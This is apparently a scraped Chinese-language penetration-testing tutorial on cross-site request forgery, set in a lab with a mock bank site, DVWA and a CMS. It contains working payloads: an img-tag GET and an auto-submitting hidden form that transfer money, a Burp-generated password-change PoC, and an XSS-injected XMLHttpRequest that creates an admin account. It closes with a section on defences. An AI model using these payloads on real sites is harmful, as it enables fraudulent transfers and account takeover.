住房城乡建设部门门户网站,购物网站排名大全,免费软件app下载,网站做视频在线观看文章目录 渗透测试漏洞原理跨站请求伪造#xff08;CSRF#xff09;1. CSRF概述1.1 基本概念1.1.1 关键点1.1.2 目标 1.2 CSRF场景1.2.1 银行账户转账1.2.2 构造虚假网站1.2.3 场景建模1.2.4 实验 1.3 CSRF类别1.3.1 POST方式 1.4 CSRF验证1.4.1 CSRF Poc generator 1.5 XSS与… 文章目录 渗透测试漏洞原理跨站请求伪造CSRF1. CSRF概述1.1 基本概念1.1.1 关键点1.1.2 目标 1.2 CSRF场景1.2.1 银行账户转账1.2.2 构造虚假网站1.2.3 场景建模1.2.4 实验 1.3 CSRF类别1.3.1 POST方式 1.4 CSRF验证1.4.1 CSRF Poc generator 1.5 XSS与CSRF的区别 2. CSRF攻防2.1 CSRF实战2.1.1 与XSS漏洞相结合2.1.2 实验 2.2 CSRF防御2.2.1 无效防御2.2.2 有效防御2.2.3 HttpOnly实验 渗透测试漏洞原理
跨站请求伪造CSRF 1. CSRF概述
1.1 基本概念
跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击它强制浏览器客户端用户在当前对其进行身份验证后的Wb应用程序上执行非本意操作的攻击攻击的重点在于更改状态的请求而不是盗取数据因为攻击者无法查看伪造请求的响应。
借助于社工的一些帮助例如通过电子邮件或聊天发送链接攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户则成功的CSRF攻击可以强制用户执行更改状态的请求例如转移资金、修改密码等操作。如果受害者是管理账户CSRF攻击会危及整个Wb应用程序。
1.1.1 关键点
受害者没有退出登录受害者保持身份认证。CSRF继承了受害者的身份和特权代表受害者执行非本意的、恶意的操作。CSRF会借用浏览器中与站点关联的所有身份凭据例如用户的会话CookieIP地址Windows域凭据等。
1.1.2 目标
CSRF 的目标是更改用户账户的状态攻击者利用CSRF 发送的请求都是更改状态的请求比如转账、更改密码购买商品等等。
CSRF 的场景中攻击者是没有办法获得服务器的响应。
1.2 CSRF场景
1.2.1 银行账户转账
搭建模拟银行网站 http://192.168.188.183/bank/ 。 1.2.2 构造虚假网站
构造CSRF 攻击连接。
meta charsetutf-8
img src./1.jpgbr/
img srchttp://192.168.188.183/bank/action.php? usernamehackermoney100submit%E4%BA%A4%E6%98%93 alt宝刀在手谁与争锋攻击者通过 img 标签构造GET 请求。 浏览器根据 img 标签中的 SRC 属性请求服务器资源会自动带上身份认证信息。
1.2.3 场景建模 1.2.4 实验
该银行场景一共四个用户。 其中hacker是黑客账户余额为0。
admin用户可以给其他用户转账admin给hello用户转账100块 hello用户账户增加100块。 如果admin用户访问了黑客提供的网站。并且点击了第一个链接。 admin就会向黑客用户转账100元。 黑客用户原先的余额 admin用户点击黑客提供的链接后的余额 查看页面的请求数据数据提交是在路径中进行的 黑客利用admin访问bank网站的cookie信息。当访问csrf网站的时候csrf向bank发送请求bank网站中存储着bank网站的cookie信息那么在响应的时候也会将cookie信息携带上。
这个就是跨站请求伪造是指利用受害者尚未失效的身份认证信息cookie、会话等诱骗其点击恶意链接或者访问包含攻击代码的页面在受害人不知情的情况下以受害者的身份向身份认证信息所对应的服务器发送请求从而完成非法操作如转账、改密等。 1.3 CSRF类别
以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求是不是就能够防御CSRF 漏洞了呢
1.3.1 POST方式
meta charsetutf-8
form namecsrf actionhttp://192.168.188.183/bank/action.php methodpost
input typehidden nameusername valuehacker
input typehidden namemoney value100
/form
scriptdocument.csrf.submit()/script
img src./1.jpg br /
!--a hrefjavascript:document.csrf.submit() stylecolor:red;font-size:100px宝刀在手谁与争锋/abr /这里第二个链接就是POST请求admin用户点击第二个链接。 同样黑客用户的账户增加100块。
1.4 CSRF验证
bp中有一个Target功能模块然后点击Site map 会形成一个目录结构。
bp作为代理分析网站的时候会自动检测安全风险当前这里检测的只是一些非常初级的。 右键目标主机有两个功能选项主动扫描主机被动扫描主机。 扫描到主机的风险列表 1.4.1 CSRF Poc generator
Burp Suite 自带插件可以根据请求构造表单进行CSRF 漏洞验证。
这里以DVWA靶场为例在CSRF这里选择Low级别。
修改admin的密码为123456。 抓包查看修改密码的数据包。 然后使用bp来生成漏洞验证代码。右键点击点击Engagement tools选择Generate CSRF PoC 将之前的123456密码修改为123.com然后点击浏览器中测试。 复制该URL地址 在admin用户没有退出DVWA靶场的时候访问了这个链接点击提交请求。 admin退出登录后以密码是123456来进行登录发现登录失败。这个时候密码已经被修改为123.com了。 通过bp验证存在CSRF漏洞。
1.5 XSS与CSRF的区别
攻击方式不同
XSSXSS 攻击利用网页中存在的漏洞注入恶意脚本代码通过用户浏览器执行这些恶意脚本。攻击者可以窃取用户的敏感信息、劫持用户会话、修改网页内容等。CSRFCSRF 攻击则是利用用户的身份和权限发送未经授权的请求通过伪装合法用户的请求来执行恶意操作。攻击者诱导用户访问恶意网站或点击恶意链接在用户登录状态下发送伪造的请求。
攻击目标不同
XSSXSS 攻击主要针对用户的浏览器通过操纵网页内容来威胁用户的隐私和安全。CSRFCSRF 攻击主要针对受信任网站的用户试图利用他们在目标网站上的身份和权限执行未经授权的操作。
攻击手段不同
XSSXSS 攻击通过注入恶意脚本代码来实现可以利用的漏洞包括反射型、存储型和 DOM 型 XSS。CSRFCSRF 攻击则依赖于目标网站的业务逻辑漏洞攻击者构造伪造请求并诱使受害者执行。
防御策略不同
XSS防御 XSS 攻击的主要方法包括对用户输入进行过滤和转义、使用 CSP内容安全策略限制脚本执行、设置 HttpOnly 标志等。CSRF防御 CSRF 攻击的主要方法包括使用 CSRF 令牌加入一个随机生成的令牌验证每个请求的合法性、检查请求的来源 referer 头信息、使用 SameSite Cookie 属性等。
2. CSRF攻防
2.1 CSRF实战
2.1.1 与XSS漏洞相结合
首先确定目标网站存在XSS漏洞。
攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程可以构造如下代码
script
xmlhttp new XMLHttpRequest();
xmlhttp.open(post,http://10.4.7.1/cms/admin/user.action.php,false);
xmlhttp.setRequestHeader(Content-type,application/x-www-form-urlencoded);
xmlhttp.send(actaddusernameajestpassword123456password2123456button%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7userid0);
/script2.1.2 实验
修改密码这里是无法进行CSRF攻击的因为这里攻击者在构造的时候需要输入原密码。 我们需要在添加用户的功能模块下完成实验。
点击添加账号 添加一个wuhu用户 使用bp抓包查看添加用户的请求 POST /cms/admin/user.action.php HTTP/1.1
Host: 192.168.188.183
Content-Length: 107
Cache-Control: max-age0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.188.183
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9
Referer: http://192.168.188.183/cms/admin/user.add.php?actadd
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q0.9
Cookie: usernameadmin; userid1; PHPSESSIDa41pppsn1s0ven64a8smevjhsf; securitylow
Connection: closeactaddusernamewuhupassword123456password2123456button%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7userid0攻击者可以利用XSS触发CSRF攻击。因为可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程可以构造如下代码
script
xmlhttp new XMLHttpRequest();
xmlhttp.open(post,http://192.168.188.183/cms/admin/user.action.php,false);
xmlhttp.setRequestHeader(Content-type,application/x-www-form-urlencoded);
xmlhttp.send(actaddusernamewuhupassword123.compassword2123.combutton%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7userid0);
/script然后将wuhu用户删除了。
再将构造的攻击代码提交到cms网站的留言板模块 提交成功 管理员登录后进行留言管理看到了我们刚才的留言意味着触发攻击了。 使用wuhu这个用户登录系统密码123.com。 登录成功
2.2 CSRF防御
2.2.1 无效防御
使用秘密的Cookie。仅接收POST请求多步交易多步交易有可能会被恶意攻击者预测。URL重写用户的身份信息会暴露在URL中不建议通过引入另外一个漏洞来解决当前漏洞。HTTPS所有安全机制的前提。
2.2.2 有效防御
验证Referer字段
前URL的上一个URL。转账页面到转账操作。伪造
添加Token验证 二次验证在关键操作之前再输入密码或者验证码。 HttpOnly某些情况下禁止JS 脚本访问Cookie 信息。PHP: setcookie - Manual。 SameSiteCookie 属性浏览器自带的安全机制。
2.2.3 HttpOnly实验
验证
创建一个function目录在目录中创建一个setcookie.php文件。 然后编写函数
?phpsetcookie(username,wuhu,time()3600,,,,false);
?这里将httponly参数设置为false。 在浏览器中进行页面访问打开F12输入如下命令
alert(document.cookie);cookie信息成功弹出。
点击Application查看Cookie信息。 将Cookie信息删除再次输入命令。这次没有弹出Cookie信息。 现在将httponly参数设置为true。 点击Application查看Cookie信息现在HttpOnly开启了之前是没有开启的。 再次输入alert(document.cookie);发现弹框中没有任何信息。
